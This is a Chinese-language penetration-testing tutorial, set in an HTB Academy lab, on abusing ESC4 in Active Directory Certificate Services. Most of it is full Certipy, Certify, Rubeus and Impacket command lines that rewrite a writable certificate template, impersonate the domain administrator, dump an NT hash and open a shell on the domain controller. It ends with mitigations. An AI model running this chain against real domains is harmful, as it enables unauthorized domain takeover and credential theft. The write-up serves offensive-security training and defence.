利用ESC4漏洞通过模板ACL实现权限提升

本文详细介绍了如何利用ADCS证书模板中过度宽松的ACL配置实现域权限提升,涵盖Linux和Windows两种环境下的完整攻击流程,包括识别漏洞模板、修改配置、请求证书和恢复原状等步骤。

ADCS攻击系列:通过模板ACL滥用ESC4实现权限提升

Active Directory证书服务(ADCS)负责在AD环境中颁发和管理数字证书。这些证书用于加密和验证用户身份等用途。

但像AD中的大多数组件一样,ADCS也有自己的一系列漏洞,可能导致域权限提升和其他严重安全风险。这些错误配置使用"ESC"前缀加数字(如ESC1、ESC2等)来跟踪特定问题。

在本系列中,我将一次分析一个错误配置,并以实用且易于理解的方式进行分解。

今天,我们将探讨ESC4,即具有过度宽松访问控制列表(ACL)的证书模板(如向低权限用户或计算机授予WriteDacl、WriteOwner甚至GenericAll权限)如何被修改以使其可被滥用。我们将调整模板使其容易受到ESC1攻击,然后使用它来冒充特权用户(如域管理员)。

我将使用HTB Academy - ADCS攻击模块逐步演示这个过程。

目录

  • 理解ESC4
  • ESC4滥用要求
  • 所需工具
  • 通过用户主体滥用ESC4
    • A. Linux方法
    • B. Windows方法
  • 通过计算机主体滥用ESC4
    • 选项1:创建新机器账户
    • 选项2:使用被入侵的机器账户
  • 缓解措施
  • 资源

理解ESC4

滥用ESC4始于找到一个具有过度宽松ACL的证书模板,这些ACL允许低权限用户或计算机使用WriteDacl、WriteProperty、WriteOwner或GenericAll权限修改模板配置,使其容易受到域升级攻击。

识别可修改模板时,最常见且直接的攻击路径是使其容易受到ESC1滥用技术的影响,这让我们可以冒充高权限用户(如域管理员)。

ESC4滥用要求

要识别易受攻击的模板,我们使用Certipy或Certify等工具检查证书模板上的ACL权限。

对象控制权限:我们主要寻找对模板或具有这些权限的身份拥有这些权限的组,如域用户、认证用户或域计算机。

所需工具

Linux: Certipy, Impacket, NetExec Windows: Certify, Rubeus, NetExec, Certipy.exe

通过用户主体滥用ESC4

A. Linux方法

1. 识别易受攻击的模板

我们首先使用Certipy检查证书模板,提供有效的域用户凭据和DC IP:

1
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -vulnerable -stdout

如前所述,我们寻找授予低权限用户危险权限的证书模板,特别是那些允许他们修改模板配置的权限。

在审查Certipy输出时,我们重点关注"对象控制权限"部分,密切关注哪些主体拥有哪些权限。

2. 保存旧模板

在修改模板之前,保存旧配置很重要,这样我们可以在攻击完成后恢复更改。在内部渗透测试期间,我们不希望在客户端环境中引入额外的漏洞。

📌 最好在修改前向客户提出更改建议,以防他们不希望看到完整的攻击流程,仅识别问题就满意了。

Certipy有一个标志用于此目的。在v4.8.2版本中,它被称为-save-old,在v5.0.2中,它被重命名为-save-configuration。此标志将模板配置保存为JSON文件,以便我们稍后在准备恢复更改时可以恢复它。

我使用v5.0.2,在此版本中,-save-configuration标志需要一个文件名来保存配置:

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.228.236 -save-configuration ESC4-original

3. 修改模板

在此步骤中,我们修改模板以允许我们利用它进行域权限提升。最简单的更改之一是使模板容易受到ESC1攻击,这将允许我们冒充其他用户(如域管理员)。

要使证书模板容易受到ESC1攻击,我们可以更新以下属性:

  • 启用Enrollee Supplies Subject标志:允许请求者指定自定义主题替代名称(SAN),如特权账户(如域管理员)的用户名。
  • 将Certificate Name Flag设置为ENROLLEE_SUPPLIES_SUBJECT:这是启用上述行为的实际标志,允许在证书请求中使用伪造的身份字段。
  • 配置扩展密钥用法(EKU):EKU定义证书的使用方式。要滥用它进行身份验证,我们需要将其设置为客户端身份验证或任何用途。
  • 确保低权限用户或计算机(如认证用户、域用户或域计算机)具有对模板的注册权限。
  • 将Requires Manager Approval设置为false,将Authorized Signatures Required设置为0,以确保在请求证书时不需要额外批准。

在Certipy v5.0.2中,有一个新标志叫做-write-default-configuration,它将默认的ESC1配置应用于证书模板。

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.228.236 -write-default-configuration

我们可以通过运行Certipy find命令检查ESC4模板是否已更新:

1
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -stdout

4. 以冒充用户身份请求证书

现在我们可以通过指定其用户主体名称(UPN)来请求证书以冒充其他用户(如域管理员)。

我们还需要指定具有易受攻击模板的证书颁发机构(CA)。这很重要,因为某些环境有多个CA,每个CA绑定到不同的模板。

我们还需要包含DC IP地址以确保请求发送到正确的DC。

1
certipy -debug req -u 'blwasp@lab.local' -p 'Password123!' -template ESC4 -ca 'lab-LAB-DC-CA' -dc-ip 10.129.228.236 -dc-host LAB-DC.lab.local -target LAB-DC.lab.local -upn administrator@lab.local

5. 转储冒充账户的NT哈希

使用auth命令以管理员身份进行身份验证并获取NT哈希:

1
certipy auth -pfx administrator.pfx -domain lab.local -dc-ip 10.129.228.236

6. 访问域控制器

我们现在可以使用SMB或WMI访问DC。在这种情况下,我们将使用impacket-wmiexec:

1
impacket-wmiexec lab.local/administrator@10.129.185.247 -dc-ip 10.129.185.247 -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

这确认了我们作为域管理员(管理员)对DC的访问,验证了基于证书的攻击路径成功为我们提供了特权访问。

7. 恢复模板配置

要恢复原始模板配置,我们将使用备份文件ESC4-original.json恢复我们所做的更改。在Certipy v5.0.2及更高版本中,标志更新为-write-configuration

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.185.247 -write-configuration ESC4-original.json

这确保模板恢复到其原始状态,这在完成攻击后进行清理很重要。

8. 验证更改

恢复配置后,再次运行find命令以确认模板已正确恢复:

1
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -stdout

检查我们修改的属性,如"Certificate Name Flag"和"EKU"是否已恢复。

B. Windows方法

1. 识别易受攻击的模板

我们从与Linux端相同的步骤开始:识别可用于ESC4滥用的证书模板。与Certipy不同,Certify不会明确标记模板为易受攻击,因此我们需要手动审查模板权限以确定它们是否可利用。

最简单的方法是将输出保存到文件并离线审查权限。运行以下Certify命令:

1
.\Certify.exe find > certify_output.txt

如前所述,对于ESC4,我们专门寻找允许的"对象控制权限",例如分配给低权限用户或组的GenericAll、WriteDacl、WriteOwner或WriteProperty。

2. 保存模板

Certify没有像Certipy那样内置保存证书模板配置的方法,因此我使用PowerShell和ADSI找到了一个解决方法。

该脚本将模板备份到两个文件中:

  • 一个包含所有属性的.xml文件
  • 一个包含ACL(安全描述符)二进制格式的.acl.xml文件

要备份配置,我们将使用备份模式,如下所示:

1
.\Manage-CertTemplate.ps1 -Mode Backup -TemplateName "ESC4"

3. 修改模板

我们将修改ESC4模板的配置,使其容易受到ESC1攻击,就像在Linux端所做的那样。这可以使用PowerView或带有ADSI的本机PowerShell完成。

我们将更新以下属性:

  • 设置mspki-certificate-name-flag以包含ENROLLEE_SUPPLIES_SUBJECT标志,这允许请求者提供自定义用户名,标志值为0x00000001。
  • 设置pKIExtendedKeyUsage和mspki-certificate-application-policy属性以包含OID 1.3.6.1.5.5.7.3.2,该OID对应于客户端身份验证。
  • 授予低权限用户或组(如域用户或认证用户)注册权限。
  • 通过将Requires Manager Approval设置为False并将Authorized Signatures Required设置为0来禁用批准要求。

这些更改使模板可通过ESC1利用,允许我们请求可以冒充特权用户的证书。

4. 以冒充用户身份请求证书

现在我们可以请求证书以冒充其他用户,例如域管理员。为此,运行以下命令并确保包含完整的证书颁发机构(CA)名称,例如:LAB-DC.lab.local\lab-LAB-DC-CA

1
.\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC4 /altname:Administrator /domain:lab.local

5. 转换证书

Certify生成的证书是.pem格式,包括私钥和证书。在我们可以将其与其他工具一起使用之前,我们需要使用OpenSSL将其转换为.pfx。

首先,将生成的证书和私钥保存到单个文本文件中,并将其命名为cert.pem。然后使用以下OpenSSL命令进行转换,确保您的机器上安装了OpenSSL:

1
& "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

转换时,您可以按两次Enter键将密码留空,或者如果需要可以设置一个。

6. 证书身份验证

现在我们可以使用Rubeus和我们生成的证书进行身份验证。

我们将使用asktgt命令,指定冒充的用户(管理员)、证书文件admin.pfx和/getcredentials标志以提取NT哈希:

1
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /getcredentials

7. 恢复更改

现在我们将使用在备份步骤期间保存的XML文件恢复原始模板配置。运行以下命令:

1
.\Manage-CertTemplate.ps1 -Mode Restore -TemplateName "ESC4"

然后,再次运行Certify.exe find命令以验证模板配置是否已恢复。

通过计算机主体滥用ESC4

如果证书模板允许域计算机或特定计算机账户修改它,我们可以按照"通过用户主体滥用ESC4"中的相同步骤操作,但需要进行一些调整。

有两种路径可以选择:

  • 创建新机器账户
  • 使用被入侵的机器账户

选项1:创建新机器账户

如果模板授予域计算机具有GenericAll、WriteDacl或WriteProperty权限的控制权,我们可以创建一个我们完全控制的新机器账户。这假设环境允许这样做。

默认情况下,标准域用户可以在Active Directory中创建最多10个计算机账户。但是,某些环境通过修改ms-DS-MachineAccountQuota属性将此值减少到0,以防止此类滥用。

我们可以使用nxc和maq模块快速检查机器配额:

1
nxc ldap 10.129.185.247 -u blwasp -p 'Password123!' -M maq

如果返回10,则表示允许用户添加最多10个机器账户。接下来,使用Impacket的addcomputer脚本创建机器账户:

1
impacket-addcomputer -dc-ip 10.129.185.247 -computer-name TESTMACHINE01 -computer-pass TEST_password1234! lab.local/blwasp:'Password123!'

在Windows上,我们可以使用PowerMad创建计算机账户:

1
2
Import-Module .\PowerMad.ps1
New-MachineAccount -MachineAccount TESTMACHINE01 -Password (ConvertTo-SecureString 'TEST_password1234!' -AsPlainText -Force)

选项2:使用被入侵的机器账户

此选项涉及获取对已具有证书模板控制权的机器账户的访问权限。要利用此功能,我们需要在目标系统上拥有本地管理员权限。

一旦我们拥有管理员访问权限,我们可以使用Mimikatz提取机器账户的哈希(非常可检测),然后使用它以该计算机账户进行身份验证。这使我们能够修改模板并进行ESC4滥用。

缓解措施

  • 审查证书模板上的ACL。确保低权限用户或组未被授予WriteDacl、WriteOwner或完全控制等权限。只有受信任的管理员应该能够修改模板。
  • 检查谁可以注册每个模板。不要将其开放给域用户等组,如果模板未被使用,只需禁用它。
  • 通过跟踪证书请求的修改来监控模板的更改,这可以使用内置的Windows事件日志完成:
    • 4899 – 更改CA安全设置
    • 4886 – 证书服务收到证书请求。

资源

  • Certified Pre-Owned
  • AD CS ESC4 Privilege Escalation Tutorial | Hack Active Directory Certificate Services
  • Abusing Active Directory Certificate Services (ADCS) | ESC4 Attack Explained
  • Abusing Active Directory Certificate Services — Part 2
  • ADCS: Playing with ESC4
  • AD CS 102: How to Detect and Mitigate ESC4 Attacks on Active Directory Certificate Services
  • Pwning the Domain: AD CS
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计